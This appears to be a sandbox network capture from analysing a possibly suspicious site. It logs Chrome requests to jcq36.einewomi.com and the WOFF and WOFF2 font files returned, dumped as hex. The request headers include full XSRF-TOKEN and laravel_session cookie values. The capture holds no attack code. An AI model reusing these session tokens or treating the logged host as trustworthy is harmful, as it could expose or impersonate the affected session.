6b 5e 22 ae ea e0 20 71 56 e1 2f d3 6f 7f 90 df f9 e9 a7 9f 1e bd 7b 87 f8 ac 9c ea Data Ascii: ]p(>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8r?ra%aG}@!xQe*]%yjLU`_'i+:<bFE%(@k^" qV/o{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49757	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	1419	OUT	GET /56amDdS8Xlyi23UibOV0yuuv60 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jcq36.einewomi.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:01 UTC	623	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:01 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="56amDdS8Xlyi23UibOV0yuuv60" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrxyNnfgKrBVCkJQISYgIP5oXLrQ20As%2F27avjyV5sWEdSok%2FE9tzcGGa9loEI8st0kUSQPVDs%2FO2KAKm5u6lqCA%2BeMrLaWtYnp3yhzU3l3WAdISKcNdhkkTmEp2aQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f26f6a2f7c-LAX
2024-04-24 21:08:01 UTC	746	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 20 00 9e 7f f7 d3 db e4 35 29 e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 a1 7f b4 fd cf 8a 12 3c cd 09 17 b1 bb 1d be 58 9e 81 7f 85 04 cd 7e 2b 6a 8a 7a bb 6a b2 f8 ff ee f7 db c0 37 f0 50 44 93 b8 4f 10 d5 77 d1 fa 39 9d 90 38 5d 13 21 7e 43 26 98 18 b4 cd d0 fb 13 2a 4c 43 45 d3 dc 4e 66 7e af 4e 9f 65 4a fa 69 58 6e 58 2a 43 81 26 e6 f5 bf 8b 74 b6 55 83 fc 4e 72 d2 40 91 b6 6c 5a b0 80 a7 03 20 d9 8f 58 b9 a2 c8 Data Ascii: 5)`w&Q- 9Xt/SQ?s+u9\hlG##@Ff1f=`p=cf=p 4Byuz'$;szXn6y-<X~+jzj7PDOw98]!~C&LCENf~NeJiXnX*C&tUNr@lZ X
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: be ef 69 9d 44 eb 95 0e 88 ec 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 51 e2 43 bf 56 c9 5a 96 e8 1f 92 c0 20 b0 78 90 51 a2 3c 19 06 e5 c4 18 b4 51 95 16 6c ec cd a6 0b e6 b6 d1 db 00 56 0c 1e a0 cb a0 80 03 02 ba eb e2 92 60 fa 62 ea 87 59 4d 58 29 3a 30 36 0c 02 ce fb 12 0a 67 57 cf 6d 7c f0 81 96 93 88 02 ba ef 92 55 dd 8c f9 fa 69 f2 71 0c 59 37 73 08 39 5d ce e5 85 bb 59 16 bd 18 b4 30 75 01 f3 09 a6 26 0f af 55 73 55 f9 8b 2d cb f9 49 0a 03 Data Ascii: iD0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)QCVZ xQ<QlV`bYMX):06gWm\|UiqY7s9]Y0u&UsU-I
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: c2 fb bf fc 8c 82 bb fa 9b 75 db a1 66 75 c9 75 d3 64 f1 8c aa ea bf de f8 8f 20 f3 86 3a ba e8 43 54 6a 8a 28 69 af 3c e6 ea b6 b2 5d 1b f8 18 09 92 64 e8 bd 0a 1d e0 d3 ba bc 10 cc cb 06 57 5c 77 bd a9 1a 44 81 23 b1 00 73 e8 10 9d bc f0 cc 39 be 92 1c 86 29 96 14 29 84 bf f5 e6 98 7e 7c d5 7f bf fc c3 77 d3 3c 9d cf ff 57 80 cf 97 9a d9 60 5e bd 00 ef d9 ff 57 bb 7c 10 17 61 91 5f e2 e0 bf 67 17 38 6d 72 f7 c0 87 b9 c7 2b b1 0e 4b b1 bd 52 1c c4 78 e7 87 af ff f6 09 93 1e 60 d4 16 c7 bd 7b 90 2e ac c4 27 6b 93 0d 57 9e 7c 28 0f 5c f9 c6 1c d3 b8 97 5b 0f 28 3e 06 4b ae 4a 42 c2 63 6d 65 b3 87 f4 02 73 e9 ec 31 94 dd 4d 35 43 9e 82 ef 1a 19 ca 1a de 11 5a 06 1e 1c 66 50 e3 92 33 b2 78 9f 06 fa de d0 77 b9 e5 f7 d4 e5 a7 d9 89 be 67 54 d4 43 9f 16 46 78 Data Ascii: ufuud :CTj(i<]dW\wD#s9))~\|w<W`^W\|a_g8mr+KRx`{.'kW\|(\[(>KJBcmes1M5CZfP3xwgTCFx
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 09 37 5f 5d ca 6d 2a c2 93 2c 7c e1 4f 0a f5 78 68 ed f3 95 63 92 85 c2 64 da 80 92 57 22 90 60 5c e2 76 78 80 a3 e7 17 e6 65 84 d8 68 fc 45 39 36 9d b6 bd 10 a7 d5 3c 40 98 a4 95 3d 2f 5c b2 3e 4f 05 c0 c6 03 43 4f 91 c1 b6 2a 1c ab 73 0f 48 30 21 8e 1a d3 24 e5 69 1b 45 37 55 e3 c4 1b 70 81 70 c6 8e c3 c7 15 fd d0 6a 42 d4 1a 9b 2c 71 78 1c 68 90 8e 66 52 12 59 39 ec 05 60 4b 10 46 0a d3 3b 4f 93 e9 9c 42 34 fe 5a 4c 23 c9 da 61 da ca b0 2e 42 bf ba 4e 43 ee 7b a5 b6 cd 10 a9 9e d6 76 c2 da 8c 75 0b 16 88 a2 6a f6 21 ff 46 59 15 b1 d8 a4 ae 93 c7 8f 9e 79 f0 b8 5e 0d 87 be b3 43 8a 3b 87 21 5b ce a4 5d 92 b7 f9 a1 38 f5 96 d0 8b c3 0e d8 3d be 24 30 f0 11 92 c4 5c c9 d4 f5 38 62 51 c4 09 ab 9c ee 74 c2 1d 9d 3f 80 6f 2b ee d5 47 d6 5b 60 91 6e 70 0d bf Data Ascii: 7_]m,\|OxhcdW"`\vxehE96<@=/\>OCOsH0!$iE7UppjB,qxhfRY9`KF;OB4ZL#a.BNC{vuj!FYy^C;![]8=$0\8bQt?o+G[`np
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 13 91 05 2e 44 bf ef c7 df 5e 30 2e a5 1f cd 43 40 1e 70 cc f3 0a 36 82 72 f9 89 38 79 b0 a5 24 70 54 fe 74 60 c5 01 22 5e b9 e6 19 a1 43 02 57 17 2b 13 89 c3 3d af 86 3d 5b 59 ec d0 9d 86 23 f9 67 f1 fb 3a 58 07 48 c6 63 87 75 a2 a8 0c 94 5b bc 1e 8e 82 53 19 0c 24 da 49 3c 17 4c 27 29 d9 9d 80 57 5a ab 4f 76 b1 d5 d5 66 d6 cd 0b 43 de c4 07 9d fb 6a 3d 35 5d 05 18 4d fc cf f3 d5 52 8a 37 07 16 7b c0 bd 19 bc 8f 5b ba 06 00 c5 83 23 de f6 d2 01 41 b8 02 01 50 23 69 24 5c 1c ef 34 bf 27 04 01 13 5c 88 a0 4a 93 f8 12 79 bb a9 68 e7 2f 4d 81 05 1e 94 a0 46 8b ee 74 70 0e c0 c0 06 bf 4a a1 4d 9b de 6d 3c 06 38 10 40 08 15 1a b4 ec f1 81 bb 5f 18 f6 cc 77 10 ea 8d 43 df 85 0f fd 36 f8 e2 04 f8 bf 37 77 9c 81 9f e8 12 4f 3f 5c fa 4a 33 6a 34 14 cd b7 3d 06 0f Data Ascii: .D^0.C@p6r8y$pTt`"^CW+==[Y#g:XHcu[S$I<L')WZOvfCj=5]MR7{[#AP#i$\4'\Jyh/MFtpJMm<8@_wC67wO?\J3j4=
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 46 e9 89 d1 1b ab 7b 8a be a9 a2 c5 b8 43 ea 57 b3 bc 10 37 82 25 84 7d 6c eb e6 e6 16 e5 cc a2 be 5d 7f 9c 81 78 43 89 26 d3 24 7b 66 a6 e7 a6 78 6a 9a 55 d3 3d 36 c3 13 cb bc b7 a6 03 56 fb 2f cd 7d 12 13 c0 38 5c 55 a0 e1 24 e3 29 0d 8d ab 57 ae 5a f3 da 99 73 6a ff 83 13 79 f9 de ad a4 cd b6 da 6b 75 de 3c 4e 5d ab ad 29 8e bd e8 f4 90 28 0f 5f 6c f3 f3 71 f4 b1 c7 9f 78 f2 a9 a7 9f e1 41 ca f5 83 8e 3b ef 36 73 5a b5 d9 a6 5d 87 4e 5d ba f5 da 6e 87 9d 76 d9 6d 8f bd fa ed 33 f0 8a 1f 7c f0 73 cd 61 47 f8 86 14 f4 d9 05 4a 43 a1 a2 d7 e1 81 fb 1e 7a e2 b1 e7 3e fb e6 2b 1b 30 fb 13 00 f8 c0 06 e0 02 9b 00 1e f7 07 3f 94 ea cb 9c fd 8a 07 b7 5f 72 79 43 e1 99 99 f9 af 64 20 e2 d5 4f f8 1a 9f 0f 45 87 ab 6f b8 e5 b6 3b 6e 6a 3e 07 38 ea e2 92 3d 6f 53 Data Ascii: F{CW7%}l]xC&${fxjU=6V/}8\U$)WZsjyku<N])(_lqxA;6sZ]N]nvm3\|saGJCz>+0?_ryCd OEo;nj>8=oS
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 0b 2d ab af a9 57 67 f7 51 bd 61 37 69 bc 69 4b 76 78 bf 58 39 1e 64 1d 8e 2d 52 6f f1 43 6b ea a6 58 f8 13 68 45 70 b2 db 5a 4d d1 66 ac 0c bc b8 74 db ad f6 4c df 84 10 7c 9b 9c ea 48 0d 9c 0e 4c d5 de a5 81 a8 4e 91 7e be 3d c8 de d1 df a1 59 98 3a 2d 47 0e ae f9 33 c0 16 17 db ed 6f c8 04 34 b3 31 0a 82 b1 49 41 13 32 21 98 26 40 6b 46 10 cc 4d d0 02 82 65 02 75 ad 08 82 b5 09 da 40 b0 4d 80 d2 8e 20 d8 9b a0 03 04 c7 04 5a 3a 11 04 67 13 74 81 e0 9a 40 43 37 82 e0 6e 82 1e 90 ef 09 85 af e3 7e 79 b3 a8 3c 1f af a3 ea b7 59 3a 65 d4 f0 e9 2e 26 f6 67 88 bf 3c 17 fe 4a 7d 86 6f b3 d4 df 1f 89 7f d8 c2 3f 29 f0 6b 96 fb f7 23 f1 1f 5b f8 2f 05 29 b5 c1 3b 3f f9 d3 9d 6f 74 4d 92 6e c1 9b 60 e7 5b 3f ce 93 de be b6 0e 52 ab 33 bf 5e c8 c7 d5 43 95 3d 57 Data Ascii: -WgQa7iiKvxX9d-RoCkXhEpZMftL\|HLN~=Y:-G3o41IA2!&@kFMeu@M Z:gt@C7n~y<Y:e.&g<J}o?)k#[/);?otMn`[?R3^C=W
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: c9 86 8a fb 19 1b 9a 4e 20 d9 ad ef 8f d4 83 74 ce bb a7 2e 77 88 ac c3 8d 0f b2 51 bb 08 c0 b8 d9 ad 54 c6 3f f5 45 b6 35 f7 cb 1c cb 38 c1 a2 9a 9b bb 68 e1 2e a8 d4 0d b2 c4 ad c9 e2 ab a1 8d df 65 cf 1b 09 af e5 6d 50 2f b2 bc d5 91 41 8b 0c 3c 2c db 32 2a a4 e0 28 ad 42 06 2b ca c1 98 40 6d ea 72 b4 be d5 41 a6 7d 2b 6b 37 24 85 3a 61 fd 7c 04 75 c4 5f a6 e5 5d 66 a6 df a4 f5 e8 28 89 3d ab 0b 0c 6c b4 d2 a8 77 7e 3e 40 5f 74 8d 57 30 00 c5 e8 bd 8c fd d4 dc ad 43 5d 93 64 52 3e 47 47 5e f4 3b 0c 17 af f2 bd 11 03 7d e5 8b 1d 0d ae ad 1d c8 4c ce ae 60 97 20 5d 60 73 e9 4d 28 9e fa 17 4a 14 06 9a f3 51 58 d3 87 f7 f0 6a a7 e7 02 f1 7c a6 6b c0 5a 9c a6 71 a7 6d 77 5c a5 e4 ea 23 ea 5a 6c 9c d5 7a 09 7f 9a b1 87 11 03 90 28 34 e5 6a cc db 32 a1 cc 92 Data Ascii: N t.wQT?E58h.emP/A<,2*(B+@mrA}+k7$:a\|u_]f(=lw~>@_tW0C]dR>GG^;}L` ]`sM(JQXj\|kZqmw\#Zlz(4j2
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: b0 43 69 8b 41 c0 80 54 b8 1b 3b bc 73 32 24 3c dc a9 94 c8 fd c4 62 cb 69 1a e0 6f 82 ae 79 55 71 5b e8 20 f7 e1 10 fc 2e 89 29 19 ad 45 f6 10 16 12 7c 7b a9 ae e7 89 03 39 7c 32 4f 25 b8 b1 a6 79 4b 84 ec 81 38 13 20 4f dd db 92 0a 82 ab 02 5f f7 76 1d b5 70 ff 5a 4b 61 e9 9a f0 b4 c9 a7 65 19 99 eb d2 ff cc 5a 1d d5 ad 3d a9 dc d7 3f d7 04 87 47 ae d8 83 2a ec 4b 7a 32 cf 40 de 17 24 b5 27 3d fc 70 e1 7d f8 26 a9 fd b4 70 3c ba 84 97 64 67 4b 73 47 73 22 75 e1 a6 a3 95 79 c9 7d 3a f9 6e a4 ea 9e bf 47 78 1c db ef 7d 70 0e 4a d9 66 b0 6f fb 0a db de d6 5b 5f a7 6d 6d aa e6 3b 4c 81 04 ba 0d be 91 ce 1f e7 b8 cc ce 72 36 ce 9f f8 4b 3e f6 63 d0 39 da 99 e1 24 58 ef ad ce 1d 15 87 68 95 9d 29 d7 2d 75 09 b7 74 bd 2b 99 86 a9 ef 3b 52 06 06 93 98 67 80 17 Data Ascii: CiAT;s2$<bioyUq[ .)E\|{9\|2O%yK8 O_vpZKaeZ=?G*Kz2@$'=p}&p<dgKsGs"uy}:nGx}pJfo[_mm;Lr6K>c9$Xh)-ut+;Rg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49760	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	1420	OUT	GET /23GDvvg9apn90HB2XHHcK3Svw70 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jcq36.einewomi.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:01 UTC	621	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:01 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="23GDvvg9apn90HB2XHHcK3Svw70" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rF2R4ad1k%2FvHTPjFCVB8SBO3USjSwIbT688w1nbOOcbTM8fWy4u7d8G3l2GGJ8EWMXqiH9UwMIN6rPMbK%2BAehO1brcchgCPm7QO6FrHA3tkZBIpJmw7O2ivsK%2FUKXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f26dbf2ea8-LAX
2024-04-24 21:08:01 UTC	748	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 9f 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab d6 a9 f5 6a a3 da 42 4a bd ca 5f 50 77 ca e3 30 f5 e2 66 2a 00 8f 96 71 13 95 f0 71 35 96 f7 aa 27 b9 46 3d 4d 49 6a 02 37 a8 e7 91 5e e0 66 f5 22 87 d5 4b 5c a1 a6 70 48 4d 43 de 74 a4 57 b9 5a cd 42 7a 9d eb d5 6c 94 2b c6 b3 b5 d4 85 ce 01 65 7c a0 8d 0f b5 1e a5 42 3e 8e 9a 0f a9 31 a8 61 2c f5 44 ed 45 6a 1c e5 a8 a7 28 a8 c6 93 4f Data Ascii: gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGjVjZjBJ_Pw0fqq5'F=MIj7^f"K\pHMCtWZBzl+e\|B>1a,DEj(O
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: a9 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c d7 5a b0 1a e9 53 d4 8f 5e 2b 44 95 6a 23 d2 56 cd 69 60 9a 05 8c 2c 48 45 12 da 1b 83 de 2a b5 1c 12 aa 5c 49 a8 43 cf ab 5d 39 3a 6c ee 2c 91 23 94 c2 73 4d 5d 0b 3c b2 0c 7d d2 9d a7 f0 54 bd 78 ab a3 2d 42 73 e5 bc c7 db 28 69 e8 49 1d e1 0e 9b 78 fb 40 7a 88 ee 43 9c 7c 14 3c 48 e2 30 b0 b0 50 3e 85 9b 00 90 39 66 ae e7 1a 5c eb d4 Data Ascii: -:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<ZS^+Dj#Vi`,HE*\IC]9:l,#sM]<}Tx-Bs(iIx@zC\|<H0P>9f\
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 4d 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 ae cc 6c 1f 3c b0 de 37 67 8f 01 8f 00 b7 9a d8 75 4d ae b4 25 0e 6d c9 3b f6 1e 10 a1 d8 5e b4 54 8d f4 85 ec 5f 3c c5 11 ab 67 ec 5a a7 77 cc a0 be 2e da da c8 b5 a6 d6 49 b3 93 c6 2e d5 d8 b6 7c b8 e5 6a 65 1e 2d 26 9e 73 c6 8d ba d7 72 11 33 17 78 ea 78 9b f2 7a bd 63 8f e7 be d6 9e 05 06 7e 56 cb f9 53 af e7 75 f5 d5 9d 99 42 1f ab Data Ascii: MVd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:Al<7guM%m;^T_<gZw.I.\|je-&sr3xxzc~VSuB
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 89 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf e2 c4 e7 7f 04 5b 89 fb 43 d1 f2 e2 8e f9 8e da 56 c1 9e 6f 30 cf f6 9d de 6c 27 de 0b c0 7b d6 e9 55 03 53 4b 46 dc 79 a3 06 ef de 88 a8 16 bc 71 e4 0e 89 15 da 90 f5 76 e5 3d e8 ed 4d d4 ea 96 2f 6e 44 fe 1c 6c c5 94 f8 6b ab a2 c9 2d f7 76 46 bc 59 93 3b f7 a7 ef 8b f8 9d f6 c6 98 ed e4 57 23 a6 aa 8e b6 ef 90 f6 da d6 77 95 44 d1 53 Data Ascii: m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI[CVo0l'{USKFyqv=M/nDlk-vFY;W#wDS
